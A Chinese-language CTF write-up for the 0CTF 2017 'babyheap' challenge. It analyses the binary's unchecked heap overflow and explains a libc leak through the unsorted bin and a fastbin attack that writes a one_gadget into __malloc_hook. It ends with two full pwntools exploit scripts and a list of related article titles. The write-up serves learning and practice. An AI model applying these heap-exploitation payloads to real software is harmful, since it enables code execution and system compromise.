WP for 0CTF_2017_Babyheap

  • Babyheap
    • 0x01. File Analysis
    • 0x02. Static Analysis
    • 0x03. Dynamic Analysis & Exploit
      • 0x031. leak address
      • 0x032. write __malloc_hook
    • 0x04. EXP
    • 0x05. Summary

Babyheap

0x01. File Analysis

  • 检查保护

64位、小端序、ELF格式文件

保护全开!

所以got表不可写了,利用时只能考虑写malloc_hook或者free_hook

  • 执行文件

一个简单的堆管理器

能够实现,分配、填充、释放、打印功能

0x02. Static Analysis

  • 函数首先调用了Sub_B70,往内存中映射了0x1000字节空间,并将返回值传给var_8,也就是后面的变量v4

  • 开始打印菜单信息

  • 进入switch判断
lea     rdx, ds:0[rax*4]
lea     rax, jpt_116C
mov     eax, ds:(jpt_116C - 14F4h)[rdx+rax]
movsxd  rdx, eax
lea     rax, jpt_116C
add     rax, rdx
jmp     rax             ; switch jump
  • 输入1时,进入allocate函数:

可以看到,完成内存分配后,在v4的空间中保存了结构体的信息

每个结构体内部定义了三个变量:

0-7 标志位 (0/1)
8-15 size(大小)
16-24 指向堆上chunk的指针
  • 输入2时,进入fill函数 (存在任意长度溢出漏洞)

  • fill函数可以堆指定index的chunk进行修改,这里重新读入了一个size,并向堆中分配的chunk中写入size大小的内容

    • 并且没有对已分配的chunk的边界增加任何的判定!
    • 产生了一个溢出漏洞,可以通过fill函数来覆盖物理上临近的两个chunk!

  • dump函数

判断当标志位仍然为1时,打印该结构体指向的chunk中的content信息


  • free函数

free大概干了下面的事情:

​ 判断标志位

​ 置零标志位

​ 置零size

​ 释放指针

​ 指针置零

​ 由于指针释放、并且置零了,free函数是安全的。

根据目前静态分析得到的思路:

  • 任意长度溢出

    • 1、可以通过修改已释放chunk的fd位,来人为制造堆块重叠
    • 2、可以通过修改未释放chunk的size位,释放并重新分配来使chunk重叠
      • 通过释放一个size大于0x90的chunk,从unsortedbin中泄露main_arena
    • 最后通过方法修改fastbin中的fd链,让chunk分配到__malloc_hook附近,最后向里面写入one_gadget

0x03. Dynamic Analysis & Exploit

0x031. leak address

  • unsortedbin中的头指针为main_arena+88,如下图

main_arenalibc_base_addr的偏移在固定libc时是固定的

这给地址泄露带来了可能


  • 方法一:溢出size位,释放并重新分配,让fastbin和下一个大小在smallbin范围的chunk重叠
allocate(0x40)#chunk0
allocate(0x40)#chunk1
allocate(0x80)#chunk2
allocate(0x10)#chunk3 防止top_chunk 进行malloc_consolidate

想法是,通过chunk0溢出,修改chunk1的size位,拓展到刚好可以覆盖到chunk2的fd位

在完成重叠后,释放chunk2,打印chunk1内容即可泄露main_arena地址

  1. 这里一口气借助chunk0完成了后续所有的修改
payload = 'a' * 0x40 + p64(0) + p64(0x71) + 'b' * 0x60 + p64(0) + p64(0x20)

payload如下图:

'a' * 0x40 + p64(0) + p64(0x71)是为了修改chunk1的size位为0x71

'b' * 0x60 + p64(0) + p64(0x20)是为了在拓展后的的chunk1后面伪造一个chunk首部信息,为了度过free chunk1的时候对其next_chunk的检测:

相关检测如下:

    nextsize = chunksize(nextchunk);if (__builtin_expect (nextchunk->size <= 2 * SIZE_SZ, 0)|| __builtin_expect (nextsize >= av->system_mem, 0)){errstr = "free(): invalid next size (normal)";goto errout;}

要求0x10 < next_size < system_mem


  1. 重分配chunk1,恢复chunk2,并释放chunk2
free(1)
allocate(0x60)
payload = 'c' * 0x40 + p64(0) + p64(0x91)
fill(1, payload)#恢复chunk2(如果想根据结构体记录的信息恢复chunk2,必须把其chunk结构恢复)
free(2)#释放,让chunk2的fd指向main_arena + 88
dump(1)#泄露chunk2的fd

chunk2已释放

dump信息:

可以看到7ffb5cd88b78就是我们要的main_arena + 88

泄露完成!


  1. 可以找一下结构体信息,来对照印证一下
  • 查找结构体信息

    • vmmap指令查找一下,第一行就是程序自己mmap出的data段,结构体信息在里面

x/1000gx 0x4dc37825f000(由于地址随机化,每次调试过程堆上地址会变,请您见谅= =)

  • 此时结构体布局如下

    • 可以清晰的看出,chunk1的size拓展到了0x60,chunk2被释放掉了

0x032. write __malloc_hook

覆写__malloc_hook主要是通过修改fd指针,将fastbin中伪造一个freed_chunk,分配到malloc_hook附近,再通过fill函数想malloc_hook函数写入one_gadet

  • malloc_hook是个弱类型指针,当其中的值不为0时,会执行指针指向的内容

    • 所以劫持malloc_hook,写入one_gadget可以达到getshell的目的
  • 利用过程中的难点是通过malloc时fastbin的检测
  • 首先通过之前的main_arena地址,计算__malloc_hook地址:

  • fastbin检测绕过——malloc时对fastbin的nextchunk有一个size检测
  if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ())){idx = fastbin_index (nb);mfastbinptr *fb = &fastbin (av, idx);mchunkptr pp = *fb;do{victim = pp;if (victim == NULL)break;}while ((pp = catomic_compare_and_exchange_val_acq (fb, victim->fd, victim))!= victim);if (victim != 0)//检测主要在这里。{if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0)){errstr = "malloc(): memory corruption (fast)";errout:malloc_printerr (check_action, errstr, chunk2mem (victim), av);return NULL;}check_remalloced_chunk (av, victim, nb);void *p = chunk2mem (victim);alloc_perturb (p, bytes);return p;}}

如果想通过检测,并且把chunk分配到malloc_hook附近,

1. 必须在`malloc_hook`附近有一个能够通过`fastbin_index (chunksize (victim)) == idx`检测的位置
1. 能够伪造fd链,欺骗fastbin
  • 这里用到了错位偏移,人为制造一个fastbin大小范围的fake_chunk

malloc_hook附近的情况如下

通过错位偏移,人为制造一个size = 0x7f出来

所以我们修改fd为__malloc_hook - 0x30 + 0xd,在这的chunk偏移0x13处就是__malloc_hook的内容

可以看到,如上图,这里的size位刚好为0x7f,能够通过fd对malloc的检测

if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))

  • 释放一个fastbin范围大小的chunk,通过fill函数的任意溢出,来其fd指向malloc_hook - 0x30 + 0xd
free(1)
payload = 'c' * 0x40 + p64(0) + p64(0x71) + p64(malloc_hook - 0x30 + 0xd)
fill(0, payload)

分配两次chunk,将目标chunk分配出来

第一次分配:

  • 取得目标chunk、写入one_gadget
one_gadget = libc_base + 0x4527a
payload = 'a' * 0x13 + p64(one_gadget)
fill(2, payload)
allocate(0x20)

可以看到已经将one_gadget 写进去了

利用成功!

0x04. EXP

  • 完整exp
  1. 法一:拓展已分配块
from pwn import *
context(log_level='debug', os = 'linux', arch = 'amd64')p = process('./babyheap')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')def allocate(size):p.recvuntil('Command:')p.sendline('1')p.recvuntil('Size:')p.sendline(str(size))def fill(index, content):size = len(content)p.recvuntil('Command:')p.sendline('2')p.recvuntil('Index:')p.sendline(str(index))p.recvuntil('Size:')p.sendline(str(size))p.recvuntil('Content:')p.send(content)def free(index):p.recvuntil('Command:')p.sendline('3')p.recvuntil('Index:')p.sendline(str(index))def dump(index):p.recvuntil('Command:')p.sendline('4')p.recvuntil('Index:')p.sendline(str(index))p.recvuntil('Content: \n')#gdb.attach(p)allocate(0x40)#0
allocate(0x40)#1
allocate(0x80)#2
allocate(0x10)#3
payload = 'a' * 0x40 + p64(0) + p64(0x71) + 'b' * 0x60 + p64(0) + p64(0x20)
fill(0, payload)#pause()
free(1)
#pause()
allocate(0x60)
#pause()payload = 'c' * 0x40 + p64(0) + p64(0x91)
fill(1, payload)
free(2)#-2
dump(1)
#pause()
p.recv(0x58)
main_arena = u64(p.recv(6).ljust(8, '\x00')) - 88
log.success('main_arena: ' + hex(main_arena))
libc_base = main_arena - 0x3C4B20
malloc_hook = libc_base + libc.symbols['__malloc_hook']
log.success('malloc_hook: ' + hex(malloc_hook))free(1)payload = 'c' * 0x40 + p64(0) + p64(0x71) + p64(malloc_hook - 0x30 + 0xd)
fill(0, payload)
allocate(0x60)#1allocate(0x60)#2one_gadget = libc_base + 0x4527a
payload = 'a' * 0x13 + p64(one_gadget)
fill(2, payload)
#pause()
allocate(0x20)
p.interactive()
  1. 法二:fastbin_dup

除了上面分析的方法外,还可以修改fd链来制造块重叠,这里给出exp,

from pwn import *
context(log_level='debug', os = 'linux', arch = 'amd64')p = process('./babyheap')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')def allocate(size):p.recvuntil('Command:')p.sendline('1')p.recvuntil('Size:')p.sendline(str(size))def fill(index, content):size = len(content)p.recvuntil('Command:')p.sendline('2')p.recvuntil('Index:')p.sendline(str(index))p.recvuntil('Size:')p.sendline(str(size))p.recvuntil('Content:')p.send(content)def free(index):p.recvuntil('Command:')p.sendline('3')p.recvuntil('Index:')p.sendline(str(index))def dump(index):p.recvuntil('Command:')p.sendline('4')p.recvuntil('Index:')p.sendline(str(index))p.recvuntil('Content: \n')#gdb.attach(p)
allocate(0x10)#0
allocate(0x10)#1
allocate(0x10)#2 -->4
allocate(0x10)#3
allocate(0x80)#4 freed
allocate(0x10)#marginpayload = 'a' * 0x10 + p64(0) + p64(0x21)
fill(3, payload)
free(2)
free(1)
#pause()
payload = 'a' * 0x10 + p64(0) + p64(0x21) + '\x80'
fill(0, payload)
#pause()
allocate(0x10)#1
#pause()
allocate(0x10)#2 ? 4
payload = 'b' * 0x10 + p64(0) + p64(0x91)
fill(3, payload)
free(4)
dump(2)p.recv(8)
addr = u64(p.recv(6).ljust(8, '\x00'))
log.success("addr: " + hex(addr))
#pause()
main_arena = addr - 88log.success("main_arena: " + hex(main_arena))
#pause()offset = 0x3C4B20
libc_base = main_arena - offset
malloc_hook = libc_base + libc.symbols["__malloc_hook"]
one_gadget = libc_base + 0x4527a#0x45226 0x4527a
allocate(0x60)
free(4)
payload = p64(malloc_hook - 0x30 + 0xd)
fill(2, payload)
allocate(0x60)
allocate(0x60)
fill(6, '0' * 0x13 + p64(one_gadget))
allocate(0x10)
p.interactive()

0x05. Summary

  • 题目是堆的入门题目

    • 给了任意字节溢出
    • 主要考察fastbin_attack的利用方式
  • 写入malloc_hook时的错位偏移需要构造一下
  • 要注意malloc/free时对chunk的检测
  • 对堆程序的利用要时刻关注结构体和堆管理机制的联系

0ctf_2017_babyheap相关推荐

  1. PWN-PRACTICE-BUUCTF-16

    PWN-PRACTICE-BUUCTF-16 mrctf2020_easyoverflow hitcontraining_magicheap ciscn_2019_s_4 0ctf_2017_baby ...

  2. 持续更新 BUUCTF——PWN(二)

    文章目录 前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...

  3. Uuntu16 学习记录(持续更新中......)

    Top Chunk: 概念:当一个chunk处于一个arena的最顶部(即最高内存地址处)的时候,就称之为top chunk. 作用:该chunk并不属于任何bin,而是在系统当前的所有free ch ...

  4. BUU刷题babyheap_0ctf_2017

    解题所需知识: 只有这个wp可以打通其他的都不可以!!! [FastBinAttack实战]babyheap_0ctf_2017 – TokameinE babyheap_0ctf_2017 | 堆利 ...

最新文章

  1. 用C语言实现素数筛法获取一亿(100000000)以内的全部素数
  2. polycom安卓手机客户端_安卓新功能曝光:或可通过应用商店更新手机系统
  3. Google工程师:如何看待程序员普遍缺乏数据结构和算法知识?
  4. Xml文件数据的优点
  5. python解决问题asp_用python实现面向对像的ASP程序实例
  6. 这是小学数学的26个知识点,小孩hold不住,父母也易犯错
  7. Ubuntu下如何将普通用户提升到root权限
  8. python while无限循环、人为终止_Python while while循环永远不会停止,即使它应该
  9. python中的多线程的优点_Python中多线程编程的优点是什么?
  10. bzoj 1716 找零钱
  11. 极大似然估计法(Maximum likelihood estimation, MLE)
  12. ps(AI)快捷键学习汇总
  13. 百分比收益率和对数收益率
  14. docker oxidized时区问题,时间显示不是北京时间问题的解决办法
  15. 运用卫星数据及AI技术 微软推出新一代模拟飞行游戏
  16. 机器学习中的度量指标:ROC曲线,AUC值,K-S曲线
  17. 程序逸的Java项目之旅-图书管理系统之数据库设计(1)
  18. 基于大疆无人机全景拍照的实现思路
  19. roszhong指定rviz的点启动_Rviz 实现 pannel 插件
  20. webmagic学习之路-3:采集安居客经纪人详情页

热门文章

  1. 畅购商城:Spring Security Oauth2 JWT(下)
  2. 系统分析与设计方法---结构化分析与设计
  3. Pycharm使用小Tips
  4. Linux安装GaussDB数据库图文,gaussdb数据库怎么样?如何安装?
  5. 大型服装集团BI决策系统的分析主题模块
  6. 【96】太空射击游戏_笔记
  7. 语音识别:声学的要素和特征
  8. 工程项目管理组织机构形式
  9. 为Visual Studio创建项目模板(VSIX / C#/ 2019)
  10. 股票买卖问题-含手续费